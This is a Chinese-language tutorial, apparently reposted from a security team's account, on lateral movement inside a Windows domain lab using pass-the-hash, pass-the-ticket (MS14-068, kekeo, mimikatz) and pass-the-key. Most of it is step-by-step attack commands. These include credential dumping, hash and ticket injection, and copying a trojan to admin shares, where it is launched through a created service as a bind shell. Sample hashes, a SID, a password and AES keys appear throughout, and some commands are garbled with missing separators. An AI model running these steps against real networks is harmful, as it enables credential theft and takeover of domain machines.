PTH
什么是PTH?
pass the hash:哈希傳遞攻擊,簡稱PTH,是在內網滲透中一種很經典的攻擊方式,原理就是攻擊者可以直接通過LM Hash或NTLM Hash訪問遠程主機或服務,而不用提供明文密碼。在域環境中,用戶登錄計算機時使用的大部分都是域賬號,大量計算機在安裝時會使用相同的本地管理員賬戶密碼。因此,如果計算機的本地管理員賬號和密碼也是相同的,攻擊者就可以使用哈希傳遞的方法登錄到內網主機的其他計算機。因此,此類攻擊適用于:
?域/工作組環境
?可以獲得hash,但是條件不允許對hash進行爆破
?內網中存在和當前機器相同的密碼
另外需要注意在Windows server 2012 R2 之前使用到的密碼散列值是LM Hash、NTLM Hash,在2012 R2及其版本之后使用到的密碼散列值是NTLM Hash。
PTH利用手法
當前演示環境如下:
如上圖,該內網環境,域名為gog.org,共有3臺機器,其中攻擊者已經拿下了與該環境的Webserver,并讀取到了該機器中的hash,接下來讓我們嘗試通過哈希傳遞的方式獲取內網其他兩臺機器的控制權
mimikatz
其中我們的神器mimikatz就可以進行PTH攻擊,但是mimikatz中的PTH攻擊會在當前目標機器桌面中彈一個cmd窗口,所以不適合CS使用,適合獲得當前目標桌面權限后再使用該命令去進行橫向移動。首先我們先在Webserver中上傳mimikatz,并讀取hash:
privilege::debug#提升權限 sekurlsa::logonpasswords#抓取密碼
獲得本地管理員用戶的Hash后,用mimikatz將administrator的hash添加到lsass進程中
sekurlsa::pth/user:administrator/domain:192.168.3.32/ntlm:518b98ad4178a53695dc997aa02d455c
成功后會彈出一個新的cmd窗口,這時再去訪問遠程主機服務,就不需要提供明文密碼了,直接連接即可
這時我們將192.168.3.32上線到CS中,就可使用將木馬復制到該機器中,然后使用sc創建一個服務綁定木馬,然后啟動該服務上線即可,具體實現命令如下:
copy4444.exe\192.168.3.32c$#上傳木馬到目標機器中 sc\192.168.3.32createbindshellbinpath="c:4444.exe"#創建shell服務并綁定文件
可以看到目標機器中已經創建了bindshell服務,這里我們直接啟用該服務即可
sc\192.168.3.32startbindshell#啟動bindshell服務
啟動之后3.32成功上線。但是,在使用mimikatz進行哈希傳遞攻擊時需要注意以下幾點:
1.使用mimikatz進行哈希傳遞要具有本地管理員權限
2.dir命令后面盡量跟主機名,否則可能會報錯
impacket套件
除了mimikatz之外,像之前我們提到的impacket中的smbexec、wmiexec、psexec都可以進行PTH攻擊。pythonpsexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.32"whoami"
pythonwmiexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"whoami"
pythonsmbexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32
PTT
pass the ticket:票據傳遞攻擊,簡稱PTT,利用的票據憑證TGT進行的橫向移動,它是利用Kerberos協議進行攻擊的,這里介紹三種常見的攻擊方法:MS14-068、Golden Ticket、SILVER ticket,簡單來說就是將連接合法的票據注入到內存中實現連接。缺點:票據是有效期的,一般默認為10小時。
MS14-068
MS14-068是密鑰分發中心(KDC)服務中的Windows漏洞,它允許經過身份驗證的用戶在其Kerberos票據(TGT)中插入任意PAC。該漏洞位于kdcsvc.dll域控制器的密鑰分發中心(KDC)中,用戶可以通過呈現具有改變的PAC的Kerberos TGT來獲得票證。MS14-068所造成的危害是允許域內任何一個普通用戶都可以將自己提升為域管權限。微軟給出的修復補丁是KB3011780,漏洞攻擊是否成功要看目標機器打沒打KB3011780補丁。
漏洞利用
可以看到當前我們所處的身份是域內的一個普通用戶,是無法對域控進行文件操作的。
這里我們第一步先獲取當前機器的SID
shellwhoami/user
拿到SID后,使用我們的ms14-068.exe生成一個票據文件。-u指定當前用戶,-s 輸入我們剛剛獲取到的SID,-p輸入當前用戶密碼,具體命令如下
shellms14-068.exe-uwebadmin@god.org-sS-1-5-21-1218902331-2157346161-1782232778-1132-d192.168.3.21-padmin!@#45
執行該命令后可以看到當前目錄生成了一個票據文件。
這里生成票據文件后,就可以嘗試連接目標看能否進行操作 首先清除下票據,以防該連接是以之前的票據進行連接的
shellklistpurge
票據為空后,這里我們直接開始使用mimikatz導入票據,之后再來查看當前電腦的票據信息,看其是否有產生新的票據
mimikatzkerberos::ptcTGT_webadmin@god.org.ccache shellklist
票據為空后,這里我們直接嘗試與目標主機進行連接創建服務進行上線(這里建議在連接時,使用主機名進行連接,IP地址容易產生失敗的問題)
shellnetuse\OWA2010CN-GODc$ shellcopy4444.exe\OWA2010CN-GODc$ shellsc\OWA2010CN-GODcreatebinshel1binpath="c:4444.exe" shellsc\OWA2010-GODstartbinshel1
成功執行上線到CS,相對來說,MS14-068這個漏洞利用條件較為簡單,如果域控沒有打KB3011780補丁,哪怕一個普通用戶權限也可以去嘗試該漏洞進行利用。
kekeo
利用獲取到的NTLM生成新的票據去嘗試,成功與否看NTLM是否正確 缺點:票據是有效期的,所以如果當前主機在鏈接過域控的話,有效期內可利用。kekeo和下面的mimikatz與剛剛我們上面的ms14-068原理不太一樣,ms14-068是基于漏洞,去允許域內任何一個普通用戶將自己提升為域管權限,而kekeo和mimikatz是基于hash生成票據,然后再進行連接。這里假設我們已經通過橫向其他機器,拿到了域控的hash,然后通過kekeo來偽造票據進行連接。
首先來看我們現在跳板機中的票據是空的
shellklist
然后上傳我們的kekeo文件,首先先生成票據
shellkekeo"tgt::ask/user:Administrator/domain:god.org/ntlm:ccef208c6485269c20db2cad21734fe7""exit"
生成好后,可以看到當前目錄會生成一個文件
該文件就是我們剛剛所生成的票據文件,接下來我們將它導入到內存中后,再來看我們的當前跳板機中有沒有新增票據
shellkekeo"kerberos::pttTGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi""exit" shellklist
可以看到成功導入了一個票據,那這里我們對域控進行嘗試連接
shelldir\owa2010cn-godc$
成功連接,那現在我相信大家可能都有一個疑問,就是現在都有了hash了,我直接使用pth去橫向他不是更方便嗎,為什么還要多此一舉去生成票據之后,再用票據去進行橫向呢?當然也是可以的,但是因為pth他所基于的協議,如smb、wmi、icp等,他們都依賴于135、445、139等端口等,那如果在環境中,出現端口、協議被禁用的情況的話,可以嘗試使用得到的hash生成票據來進行橫向。
MIMIKATZ
因為當前主機肯定之前與其他主機連接過,所以本地應該生成了一些票據,我們可以導出這些票據,然后在導入票據,利用,該方法類似于cookie欺騙。去利用歷史遺留的票據重新認證嘗試,成功與否看當前主機有沒有被目標主機連接過。缺點:需要高權限用戶 在進行本實驗之前,需要先模擬一下域管用戶在本機上的連接操作,留下票據之后在進行橫向操作(可以在域控中遠程鏈接一下跳板機或向C盤寫入一個文件并認證)。
如上圖,我們假設這條票據是之前域管用戶在跳板機中留下的歷史票據,那這里我們可以使用mimikatz進行偽造票據。首先我們先將內存中的票據導出
mimikatzsekurlsa::tickets/export
導出后可以看到當前目錄會出現一個票據文件
這里再將其導入到內存中
mimikatzkerberos::pttC:UserswebadminDesktopTGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
導入成功后,這里我們直接進行對靶標進行連接
shellnetuse\owa2010cn-godc$ shelldir\OWA2010CN-GODc$
PTK
pass the key:密鑰傳遞攻擊,簡稱PTK,利用的ekeys aes256進行的橫向移動,成功幾率不是很高,利用條件苛刻 漏洞利用條件:當系統安裝了KB2871997補丁且禁用了NTLM的時候,那我們抓取到的NTLM hash就失去了作用,但是可以通過PTK的攻擊方式獲得權限。首先使用mimikatz導出aes值
mimikatzsekurlsa::ekeys
導出后使用我們下面這條命令來進行利用
mimikatzsekurlsa::pth/user:域用戶名/domain:域名/aes256:aes256值 mimikatzsekurlsa::pth/user:administrator/domain:god/aes256:1811e5811877a782b6c11e2b0165ffb88d40a633f922a012372095a43d72d7ae
執行后會在桌面彈出一個cmd窗口,這里就可以進行橫向移動利用,但是上文也講了,該移動方法的利用條件有點苛刻,他是目標系統必須打了KB2871997且禁用了NTLM hash傳遞時,才可以利用,但是由于我們的靶場環境并沒有打KB2871997補丁且沒有禁用NTLM Hash,故無法利用成功。且當一個思路吧。
審核編輯:劉清
-
PTH
+關注
關注
0文章
40瀏覽量
17746 -
Hash算法
+關注
關注
0文章
43瀏覽量
7404
原文標題:橫向移動之PTH、PPT、PTK
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論